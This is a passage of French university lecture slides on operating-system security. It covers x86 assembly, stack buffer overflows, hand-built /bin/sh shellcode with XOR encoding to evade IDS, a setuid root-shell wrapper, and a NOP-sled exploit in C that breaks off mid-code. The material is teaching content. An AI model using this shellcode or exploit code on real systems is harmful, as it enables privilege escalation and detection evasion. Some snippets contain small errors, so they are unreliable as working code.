Sécurité des Systèmes d`Exploitation : cours 2

publicité
Sécurité des Systèmes d’Exploitation : cours 2
Frédéric Gava
Master ISIDIS, Université de Paris-Est Créteil
Cours Sécurité du M2 ISIDIS
Plan
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
Plan
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
Plan
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
Plan
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Déroulement du cours
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
ISIDIS : cours
3 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Généralités (1)
L’analyse de fichier binaire est une connaissance importante pour
toute personne souhaitant accroitre ses connaissances en securite
informatique car :
elle permet de connaitre comment fonctionne un programme
de ”l’exterieur” sans en avoir les sources.
un attaquant laisse des traces, souvent dans les binaires
ISIDIS : cours
4 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Généralités (2)
Plusieurs types d’analyses :
l’analyse statique (gdb, asm2C, code source) et dynamique
(sniffers reseaux, tracers, VM)
black-box : Cette technique permet d’etudier un programme
sans connaitre sont fonctionnement interne, juste en regardant
comment il reagit et quels sont les resultats des differentes
entrees et sorties.
post-mortem : On regarde simplement les resultats de
l’execution du programme, comme les differents logs, les
changements dans les fichiers, dans la date d’acces des
fichiers, les donnees que l’on peut retrouver dans la memoire...
Programmation bas niveau ≡ assembleur
ISIDIS : cours
5 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les exécutables (1)
Les exécutables sur un système GNU/Linux sont au format ELF
(Executable and Linking Format). Ce format est découpé en
plusieurs parties :
Un header qui contient l’offset des deux parties suivantes et
des informations intéressantes pour le système sur le
programme.
Un program header table qui contient la liste des segments du
fichier exécutable.
Un section header table qui contient la liste des sections du
fichier exécutable.
Les données référencées par les éléments précédents.
ISIDIS : cours
6 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les exécutables (1)
ISIDIS : cours
7 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les exécutables (2)
Nous avons :
Une section peut contenir du code exécutable, des données,
des données de liaison, des données de débugging, des tables
de symboles, des informations de relocation, des
commentaires, etc.
Les segments, quant à eux, sont un groupe de sections
apparentées. Par exemple, le segment de texte regroupe le
code exécutable, le segment de données encapsule les données
du programme, et le segment dynamic regroupe les
informations nécessaires au chargement.
ISIDIS : cours
8 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les exécutables (2)
ISIDIS : cours
9 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Chargement
Lors du chargement, chaque segment est chargé et interprété : le
système d’exploitation recopie les segments du fichier dans la
mémoire virtuelle, à partir des informations données dans l’en-tête
du programme. L’espace virtuel :
L’espace adressable utilisateur pour le premier est situé dans
l’intervalle 0x00000000 : 0xBFFFFFFF
l’espace adressable pour le noyau est situé dans l’intervalle
0xC0000000 : 0xFFFFFFFF
Les exécutables au format ELF sont chargés à partir de l’adresse
virtuelle 0x08048000 appelée adresse de base.
ISIDIS : cours
10 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Organisation de l’espace utilisateur (1)
On trouve (mais pas que) les sections :
.text qui contient le code du programme.
.data qui contient les données globales initialisées.
.bss qui contient les données globales non initialisées.
.stack qui est la pile du programme (construite de bas en haut
et donc des adresses les plus hautes aux plus petites)
ISIDIS : cours
11 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Organisation de l’espace utilisateur (1)
ISIDIS : cours
12 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Organisation de l’espace utilisateur (2)
char a; // ==> .bss
char b[] = ”b”; // ==> .data
int main()
{
char c; // ==> .stack
static char d; // ==> .bss
static char e[] = ”e”; // ==> .data
char ∗var6; // ==> .stack
var6 = malloc(512); // ==> .heap
return 0;
}
ISIDIS : cours
13 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Organisation de l’espace utilisateur (3)
heap2$ size -A -x /bin/ls
section size addr
.interp 0x13 0x80480f4
.note.ABI-tag 0x20 0x8048108
.hash 0x258 0x8048128
.dynsym 0x510 0x8048380
.dynstr 0x36b 0x8048890
...
On peut aussi faire ”readelf -e ou ”objdump -h”
ISIDIS : cours
14 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les registres (1)
Les registres a but general : eax, ebx ,ecx ,edx, edi, esi.
Les registres speciaux : ebp, esp, eip, eflags.
Certains de ces derniers registres peuvent être utilises comme des
”general purpose register” mais il sont plus rapides pour certaines
opérations c’est pour cela qu’on les nomme ”special purpose
register”. De meme certains registres communs ou ‘general
purpose register‘ peuvent être dans certains cas utilisés comme
registres spéciaux car certaines instructions en sont dépendantes,
c’est a dire que l’instruction nécessite la présence de ces variables
dans certains registres.
ISIDIS : cours
15 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les registres (2)
Exemple :
-------------------------------%eax--------------------------______________________________________________________________
|
|
|
|
|
|
|
|
%ah
|
%al
|
|
|
|
|
|
|
|
|
|
|
|_______________|_______________|______________|_____________|
--------------%ax------------
%eax est un dword soit 4 bytes, %ax est le least significant half de
eax (la partie basse de eax), il est utilisé pour traiter deux bytes.
%al est le LSB (least significant Byte) de %ax il est utilise pour
traiter un byte. %ah est le MSB (most significant Byte) de %ax il
permet de modifier la partie haute de %ax.
ISIDIS : cours
16 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les registres (3)
Les principaux :
%eip (instruction pointer) : pointeur vers la prochaine
instruction à exécuter.
%ebp (base pointer) : pointeur de base. Son rôle est de placer
un repère permettant d’accéder facilement aux arguments de
la fonction et/ou aux variables locales.
%esp (stack pointer) : pointeur vers le prochain emplacement
libre de la pile.
ISIDIS : cours
17 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les instructions (1)
Liste basique d’instructions utiles a la compréhension d’un
programme en assembleur est courte.
Déplacement dans la mémoire :
mov : Permet de déplacer le contenu d’un registre dans un
autre
lea : Permet de déplacer la valeur pointee a un emplacement
mémoire donne dans un registre
push : Ajoute une valeur sur la pile et decremente la stack
pop : Extrait une valeur de la stack et incrémente la stack
Instructions arithmetiques :
add, sub, mul, div : Modifie la valeur a un registre
inc : Incrémentation unitaire d’un registre
dec : Decrementation unitaire d’un registre
ISIDIS : cours
18 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les instructions (2)
Instructions de contrôle :
cmp : Compare deux registre
call : Appelle une fonction
int : Demande d’interruption logicielle
ret : Retour a la fonction appelante
jmp (jump !)
je (jump if equal), jne (jump if not equal), jg (jump if greater)
(jump if second value is greater)
jge (jump if greater or equal), jl (jump if less), jle (jump if less
or equal)
Instructions logiques : and, or, xor, not
nop : ne fait rien (x90)
ISIDIS : cours
19 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Les instructions (3)
Le typage : comme nous l’avons vu précédemment, un registre
peut être découpe pour que l’on utilise 4, 2 ou 1 Byte. Les
instructions vues précédemment peuvent etre suffixee pour spécifier
le nombre de byte a utiliser. Par exemple pour mov : movb (utilise
qu’un seul byte : movb $0xFF, %al), mov ou movw (utilise 2 bytes
ou un word (16 Bits) : mov $0xFFFF, %ax), movl (utilise 4 bytes
ou un dword (double word, 32 Bits) : mov $0xFFFFFFFF, %eax).
ISIDIS : cours
20 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Accès à la mémoire
Immediate mode (valeur directe precedee d’un $) : mov $42,
%eax
Register addressing mode (contenu d’un registre) : mov %ebx,
%eax
Indirect addresing mode (valeur pointee par registre) : mov
(%eax), %ecx
Direct addressing mode : mov 0x4242, %ebx (mov $0x15552,
%eax mov (%eax), %ebx)
Indexes addressing mode (adresse calculee) : le multiplier
représente en general la taille d’une variable et l’index permet
d’avancer dans le tableau situe a l’adresse de base,
Address or offset(%base or offset, %index, %multiplier) :
movl string start(%ecx,1), %eax
Base pointer addresing mode (equivalent a l’indirect
addressing avec un offset, on s’en servira très fréquemment
pour accéder a une valeur de la stack) : movl 4(%eax), %ebx
ISIDIS : cours
21 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Appel de fonction (1)
Chaque fonction va demander le placement d’un ensemble
d’éléments sur la pile. Cet ensemble est composé des arguments de
la fonction, de certaines informations relatives à la fonction
appelante (sauvegarde des registres %eip et %ebp), et enfin, des
variables locales. Un protocole définis l’appel d’une fonction. Ex.
pour foo(5,6), on va avoir :
push $0x6
; Ajout du dernier argument
push $0x5
; Ajout du premier argument
call 0xadresse <foo> ; Adresse hexadécimale de la fonction
; à appeller
add $0x8,%esp
; Retrait des variables de la pile
; (2 mots de 4 bytes)
ISIDIS : cours
22 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Appel de fonction (2)
ISIDIS : cours
23 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Appel de fonction (2)
L’instruction call sauvegarde sur la pile le registre %eip. Une
instruction call est donc équivalente à :
push %eip
jmp 0xadresse <foo>
ISIDIS : cours
24 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Appel de fonction (3)
Une fonction est composée d’un prologue (mettre en place le cade
de la fonction) et d’un épilogue. Au prologue : sauvegarder sur la
pile le pointeur de base de la fonction appelante, en initialisant son
propre pointeur de base, en allouant assez d’espace sur la pile pour
ses variables locales et, éventuellement, en sauvegardant les
registres qu’elle va utiliser dans le but de sauvegarder les données
de la fonction appelante. Ex :
int foo(int a, int b) {
int c = a;
int d = b;
return c; }
push %ebp
mov %esp,%ebp
sub $0x18,%esp
push %eax
;
;
;
;
Sauvegarde du registre %ebp de l’appelant
Initialisation du %ebp de la fonction
Un GCC qui réserve 24 bytes minimum
Sauvegarde du registre de retour
ISIDIS : cours
25 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Appel de fonction (4)
L’épilogue permet de préparer le retour à la fonction appelante en
restaurant les registres sauvés, en désallouant les variables locales,
en restaurant le pointeur de base de la procédure appelante et en
chargeant dans le registre %eip l’adresse de l’instruction de la
fonction appelante à exécuter.
pop %eax; Restauration du registre %eax
leave
; Désallocation des variables locales
; et restauration de %ebp
ret
;retour à la procédure appelante en changeant %eip
Remarque : les instructions leave et ret sont équivalentes aux
instructions suivantes :
mov %ebp,%esp ; leave
pop %ebp ; leave
pop %eip ; ret
ISIDIS : cours
26 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Déroulement du cours
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
ISIDIS : cours
27 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Généralités (1)
Le principe de l’attaque par buffer overflow est de faire exécuter un
code malveillant à un programme en écrasant dans la pile certaines
données d’exécution du programme à cause d’une non vérification
des longueurs de String. Prenons cet exemple :
#include <stdio.h>
#include <string.h>
void foo(char∗ string);
int main(int argc, char∗∗ argv) {
if (argc > 1)
foo(argv[1]);
return 0;}
void foo(char∗ string) {
char buffer[256];
strcpy(buffer, string);}
ISIDIS : cours
28 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Généralités (2)
foo ≡
push %ebp
mov %esp,%ebp
sub $0x108,%esp ; 0x108 = 264
Dépassons les 264 octets alloué jusqu’à écraser le registre %eip de
la fonction appelate de telle manière que, lorsque l’instruction ret
sera exécutée, le programme sera redirigé vers notre code
malveillant. Mais c’est plus facile à dire qu’à faire (impossible
directement sur des machines modernes). Remarque : en C et
comme dans bcp de langage, les string se termine par le caractère
null ”/0”
ISIDIS : cours
29 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Généralités (3)
ISIDIS : cours
30 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Plantage (1)
$ ulimit -c unlimited
$ ./a.out ‘perl -e ’print "A"x267’‘
$ Segmentation fault (core dumped)
$ gdb -c core
...
Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA’.
Program terminated with signal 11, Segmentation fault.
#0 0x080483de in ?? ()
Erreur à l’instruction 0x080483de. Regardons le code ASM du main
ISIDIS : cours
31 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Plantage (2)
$ gdb ./a.out
...
disassemble main
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x8,%esp
...
0x080483cf <main+43>: pushl (%eax)
0x080483d1 <main+45>: call 0x80483e0 <foo>
0x080483d6 <main+50>: add $0x10,%esp
0x080483d9 <main+53>: mov $0x0,%eax
0x080483de <main+58>: leave
0x080483df <main+59>: ret
On trouve leave à 0x080483de. Avec notre débordement, le registre
%ebp contient la valeur 0x00414141 (des A en hexa) et donc un
saut faire cette adresse est interdit (trop en dessous). Maintenant,
nous allons aller encore plus loin en écrasant la sauvegarde du
registre %eip avec ./a.out ‘perl -e ’print ”A”x272’‘
ISIDIS : cours
32 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Plantage (3)
$ gdb -c core
...
Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA’.
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
Car on a tenté d’exécuter l’instruction à l’adresse 0x41414141. On
peut donc rediriger notre code vers... bah un peut tout si on a la
place.
ISIDIS : cours
33 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Plantage (4)
...
Core was generated by ‘./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program terminated with signal 11, Segmentation fault.
#0 0x41414141 in ?? ()
L’utilitaire gdb nous indique que le programme a été arrêté à cause
d’une erreur de segmentation lorsque l’instruction à l’adresse
0x41414141 a tenté d’être exécutée. Nous avons pu rediriger le
programme vulnérable à l’adresse de notre choix ⇒ faire exécuter
ce que nous voulons, un shell car ainsi, les commandes qui y seront
lancées, le seront avec les privilèges du programme vulnérable (si
SUID root alors shell root, mais pas obligatoire, on peut
s’augmenter les droit artificiellement).
Le but du programme d’exploit est d’ injecter ce que l’on appele le
payload dans le code vulnérable. Le payload est une chaı̂ne
contenant tout ce qui est nécessaire au ”bon déroulement” de la
faille, y compris le shellcode et l’adresse de retour.
ISIDIS : cours
34 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ne fonctionne plus aussi simplement... (1)
”Hélas”, cette attaque ne fonctionne plus pour plusieurs raisons :
GCC introduit de base des canaries (petit bout de code hexa à
la suite des buffers qui protège les vrai instructions) pour
proteger le code (compiler avec l’option -fno-stack-protector)
et a des options pour protéger au mieux la pile :
-fstack-protector-all
la pile n’est plus exécutable (ubuntu ¿10) ⇒ le buffer-overflow
doit se faire sur le heap (plus dure à mettre en oeuvre)
les firewall recherchent (pas toujours bien) les codes
malveillants dans les chaines de caractère en hexa (on peut les
bluffer)
technique très connu et de plus en plus corrigée
les dernière versions des shells bash et tcsh, quand ils sont
appelés, vérifient si l’uid du processus est égal à son euid et si
ce n’est pas le cas, l’euid du shell est fixé à la valeur de l’uid
par mesure de sécurité.
ISIDIS : cours
35 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ne fonctionne plus aussi simplement... (2)
Pour augmenter ces privilèges, On peut faire setuid avant d’appeler
le shell. Voici le code d’un tel wrapper :
#include <unistd.h>
main(){ char ∗name[]={”/bin/sh”,NULL};
setuid(0);setgid(0); execve(name[0], name, NULL); }
En HEXA, pour les shellcode :
"\x33\xc0\x31\xdb\xb0\x17\xcd\x80"
ISIDIS : cours
36 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Déroulement du cours
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
ISIDIS : cours
37 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Premier shellcode (1)
Normalement, on les trouve tout fait sur Internet (homonégisation
des archis des serveurs). Mais voyons comme faire nous même :
int main()
{
printf(”Hello World !”);
}
Cela donne :
$ gcc -static -o helloworld helloworld.c
$ strace ./helloworld
...
write(1, "Hello World !", 13Hello World !)
...
On peut remplacere le printf par write(1,”...”,13). Il est parfois
nécessaire de compiler le programme avec le flag -static afin de
pouvoir désassembler les appels système...
ISIDIS : cours
38 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Premier shellcode (2)
$ more /usr/include/asm/unistd.h | grep write
Sinon éditer le fichier pour voir les includes.
$ more /usr/include/asm-i386/unistd.h | grep write
...
#define __NR_write 4
...
EAX va contenir le numéro du syscall, soit 4
EBX va contenir le premier argument de write, 1.
ECX va contenir le deuxième argument, soit l’adresse
de la cha^
ıne "Hello World !".
EDX va contenir la longueur de la cha^
ıne
(3ème argument), 13, ou 0x0d.
Il nous faut l’adresse de la chaine ”Hello”
ISIDIS : cours
39 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Premier shellcode (3)
Pour récupérer l’adresse d’une chaine, il faut déja la placer en
mémoire. Ensuite, il faut réussir à trouver où elle est. Nous allons
utiliser la technique du pop/call, décrite par Pr1on dans Phrack.
Elle consiste, à partir d’une adresse X, à sauter sur une étiquette
d’adresse Y, en dessous de laquelle figure un call vers l’instruction
suivant X. Et en dessous de ce call se trouve notre chaı̂ne.
Comment se passe la récupération de l’adresse ? En fait, lors du
Call, l’adresse de l’instruction suivante va être empilée, comme
pour tous les call. Comme l’adresse suivante ets précisément
l’adresse de notre chaı̂ne, c’est gagné ! Il ne nous restera plus qu’a
dépiler l’adresse dans un registre, en l’occurence ECX. Voici un
petit schéma illustratif :
[début du shellcode]
jmp chaine
suite:
pop ecx
[suite et fin du shellcode]
chaine:
call suite
[notre chaine]
ISIDIS : cours
40 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Premier shellcode (4)
Ecrivons maintenant le shellcode :
$ cat asm.s
main:
xorl %eax,%eax //On met à zéro tous les registres, pour éviter les problèmes
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
movb $0x4,%al //On met al pour éviter les 0 dans les opcodes
movb $0x1,%bl
jmp chaine
ret:
popl %ecx
movb $0xd,%dl
int $0x80
chaine:
call ret
.string "Hello World !"
$ as -o asm.o asm.s
$ ld -o asm asm.o
ISIDIS : cours
41 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Premier shellcode (5)
Récupéron le code en hexa
$ objdump -d asm
Déassemblage de la section .text:
08048074 :
8048074: 31 c0 xor %eax,%eax
8048076: 31 db xor %ebx,%ebx
8048078: 31 c9 xor %ecx,%ecx
804807a: 31 d2 xor %edx,%edx
804807c: b0 04 mov $0x4,%al
804807e: b3 01 mov $0x1,%bl
8048080: eb 05 jmp 8048087
...
08048087 :
8048087: e8 f6 ff ff ff call 8048082
On recopie pour avoir :
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01
\xcd\x80\xe8\xf6\xff\xff\xffHello World !
ISIDIS : cours
42 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Tester le shellcode
Au choix :
int main()
{
char sh[] = ”...”
asm(”jmp %esp”);
return 0;
}
ou
int main()
{
char sh[] = ”...”
int ∗ret;
∗( (int ∗) &ret + 2) = (int) sh;
}
Sur la pile, on trouve de bas en haut : l’adresse de retour de main,
le contenu du registre EBP sauvegardé par le prologue de main et
la variable ret. &ret + 2 = &(adresse de retour de main).
ISIDIS : cours
43 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un vrai shellcode (1)
#include <stdio.h>
#include <unistd.h>
int main()
{
char ∗ param[] = {”/bin/sh”, NULL};
execve(param[0], param, NULL); //execve est déja un appel système
return 0;
}
avec :
$ more /usr/include/asm/unistd.h | grep execve
#define __NR_execve 11
ISIDIS : cours
44 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un vrai shellcode (2)
main:
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
//On doit récupérer les arguments de execve :
//ebx = "/bin/sh"
//ecx = tab = {"/bin/sh",0}
//edx = n˚3: 0
//De plus, eax = 11, le syscall
//empile 0
push %edx
/On doit empiler ”/bin/sh”. Or on est sur la pile et sur une
architecture x86. On doit donc empiler 4 octets par 4 octets, on
rajoute donc un /. De plus on doit empiler à l’envers, de la façon
suivante :
dans le sens ”4 derniers octets puis 4 premiers octets”
dans le sens ”tous les octets sont inversés”
On pushe donc en premier ”hs/n”, puis ”nib//” :
push $0x68732f6e
push $0x69622f2f
ISIDIS : cours
45 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un vrai shellcode (3)
//on récupère l’adresse de la cha^
ıne
mov %esp,%ebx
//empile 0
push %edx
//empile l’adresse de l’adresse de la cha^
ıne (c’est à dire tab)
push %ebx
On a donc une pile qui ressemble à
ISIDIS : cours
46 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un vrai shellcode (4)
+------------------------+
| //bin/sh
|<-+
+------------------------+ |
| edx = 0
| |
+------------------------+ |
+->| ebx = addr chaine
|--+
| +------------------------+
| | 0
|
| +------------------------+
+--| ecx = addr addr chaine |
+------------------------+
ISIDIS : cours
47 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un vrai shellcode (5)
//on récupère l’adresse de tab
mov %esp,%ecx
//exécute l’interruption
mov $11,%al
int $0x80
et on fait comme avant... On obtient :
char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
ISIDIS : cours
48 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Shell-code amélioré
Le pb est que bcp d’IDS detectent ce genre de chaines (surtout
celles qu’on peut trouver sur le web). Pour les biaiser, une première
solution est d’utiliser des équivalences de code :
movl $0x0, %eax ==> xorl %eax,%eax
movb $0x0,0x7(%esi) ==> xorl %eax,%eax
molv $0x0,0xc(%esi) ==> movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movl $0xb,%eax ==> movb $0xb,%al
movl $0x1, %eax ==> xorl %ebx,%ebx
movl $0x0, %ebx ==> movl %ebx,%eax
inc %eax
Mais les IDS regarde plus simplement si /bin/sh est présent ou
non...
ISIDIS : cours
49 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Cryptage
Créer un module de décryptage qui sera intégré au shellcode. Le
plus simple ”xor” (faire table de vérité) : si deux bits sont de
valeurs différentes le résultat sera 1, et si ils ont la meme valeur ce
sera 0 ⇒ utilisation d’une clés. P. ex. 16 : 45 xor 16=61 et 61 xor
16 = 45. Encryptons de cette sorte la chaine du shellcode. Code
ASM pour le decryptage :
jmp code
suite:
pop %esi
xorl %eax, %eax
decr:
cmp %al, (%esi)
je execute
xorl $25, (%esi)
add $1, %esi
jmp decr
code:
call suite
execute:
.string ""
ISIDIS : cours
50 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Déroulement du cours
1
Programmation bas niveau
2
Principe du buffer-overflow
3
Fabriquer un shellcode
4
Faire l’exploit
ISIDIS : cours
51 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un déni de service sans boucle ! (1)
Il n’y a rien de plus énervant qu’un serveur qui ne répond pas à
cause de déni de service. Voyons comment écrire un programme C
sans boucle/récursivité qui boucle...
#include <stdio.h>
#include <string.h>
void foo(void);
int main() {foo();return 0;}
void foo(void) {char buffer[32];}
Faisons en sorte d’écraser la sauvegarde du registre %eip de la
fonction main dans le cadre de la fonction foo. Cette sauvegarde
sera écrasée par l’adresse de l’instruction call faisant un
branchement vers la fonction foo dans main. Ainsi, à la première
exécution du programme : La fonction main fait un branchement
vers la fonction foo ; lorsqu’il est rempli, le buffer écrase la
sauvegarde de %eip puis retour à la fonction main.
ISIDIS : cours
52 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un déni de service sans boucle ! (2)
Il suffit de déclarer un pointeur à l’entrée de notre buffer,
d’incrémenter ce pointeur jusqu’à ce qu’il arrive au premier byte de
la sauvegarde du registre %eip et de remplacer cette sauvegarde
avec l’adresse de l’instruction call de la fonction appelante.
Dump of assembler code for
0x08048404 <+0>: push
0x08048405 <+1>: mov
0x08048407 <+3>: and
0x0804840a <+6>: call
0x0804840f <+11>: mov
0x08048414 <+16>: mov
0x08048416 <+18>: pop
0x08048417 <+19>: ret
function main:
%ebp
%esp,%ebp
$0xfffffff0,%esp
0x8048418 <foo>
$0x0,%eax
%ebp,%esp
%ebp
L’adresse recherchée est 0x0804840a (non modifié à la
compilation). Modifions alors le code
ISIDIS : cours
53 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Un déni de service sans boucle ! (3)
#include <stdio.h>
#include <string.h>
void foo(void);
int main() {foo();return 0;}
void foo(void) {
/∗ Allocation : 56 bytes (0x38) ∗/
char buffer[32];
char∗ workPtr = (char∗)&buffer;
workPtr += 48; // −8 bytes pour passer %ebp
∗((long∗)workPtr) = 0x08048390; // long = 64 bits = 8 bytes
}
ISIDIS : cours
54 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ecriture d’un exploit (1)
L’écriture d’un exploit peut-être une chose très difficile (pour les
”pro”) comme une chose très simple. Ici, nous prendrons notre
exemple simple :
include <stdio.h>
#include <string.h>
void foo(char∗ string);
int main(int argc, char∗∗ argv) {
if (argc > 1)
foo(argv[1]);
return 0;}
void foo(char∗ string) {
char buffer[256];
strcpy(buffer, string);}
2 grandes difficultés sont rencontrées dans l’écriture d’un exploit :
(1) La génération du payload. (2) la connaissance de l’adresse du
shellcode dans la mémoire. Ces deux problèmes se rejoignent lors
du développement de notre exploit.
ISIDIS : cours
55 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ecriture d’un exploit (2)
Commençons par la génération du payload. Celui-ci doit se trouver
dans un buffer de la taille :
Taille(payload ) = Taille(Buffersur la pile ) + 2 × (4 ou 8) + 1
2*4 (ou 8 pour 64 bytes) représente la taille de la sauvegarde des
registres %ebp et %eip à écraser, et le dernier byte ajouté à la fin,
le caractère /0 de fin de chaı̂ne. Pour notre programme vulnérable,
la taille du payload sera donc de 264 + 8 + 1 = 273. qui aura la
forme suivante :
Si le payload était uniquement composé du shellcode sans
instructions nop, il faudrait être extrêmement précis dans l’adresse
de retour pour ne pas se retrouver face à une erreur de
segmentation.
ISIDIS : cours
56 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ecriture d’un exploit (3)
Pour rechercher l’adresse de retour, nous allons utiliser une
instruction assembleur incluse dans notre exploit en C afin de
récupérer la valeur du registre %esp. En effet, grâce au mécanisme
de mémoire virtuelle et au format ELF , nous savons que notre
buffer vulnérable ne sera pas très loin de l’adresse contenue dans
ce registre. Notre exploit prendra un argument. Cet argument sera
un offset à additionner à la valeur du registre %esp récupérée afin
de remonter dans la pile du programme vulnérable pour tenter de
retrouver le shellcode.
ISIDIS : cours
57 / 62
Programmation bas niveau
Principe du buffer-overflow
Fabriquer un shellcode
Faire l’exploit
Ecriture d’un exploit (4)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define NOP 0x90
long getESP(void);
int main(int argc, char∗∗ argv) {
char shellcode[] = ”...”;
char buffer[273];
char∗ ptr = (char∗)&buffer;
int i;
for (i = 0; i < 268 − strlen(shellcode); i++, ptr++) ∗ptr = NOP;
for (i = 0; i < strlen(shellcode); i++, ptr++) ∗ptr = shellcode[i];
int offset = atoi(argv[1]);
long esp = getESP();
long ret = esp + offset;
printf(”ESP Register : 0x%x\n”, esp);
printf(”Offset
: %i\n”, offset);
: 0x%x\n”, ret);
printf(”Address
∗(long∗)ptr = ret;
ptr += 4;
∗(char∗)ptr = ’\0’;
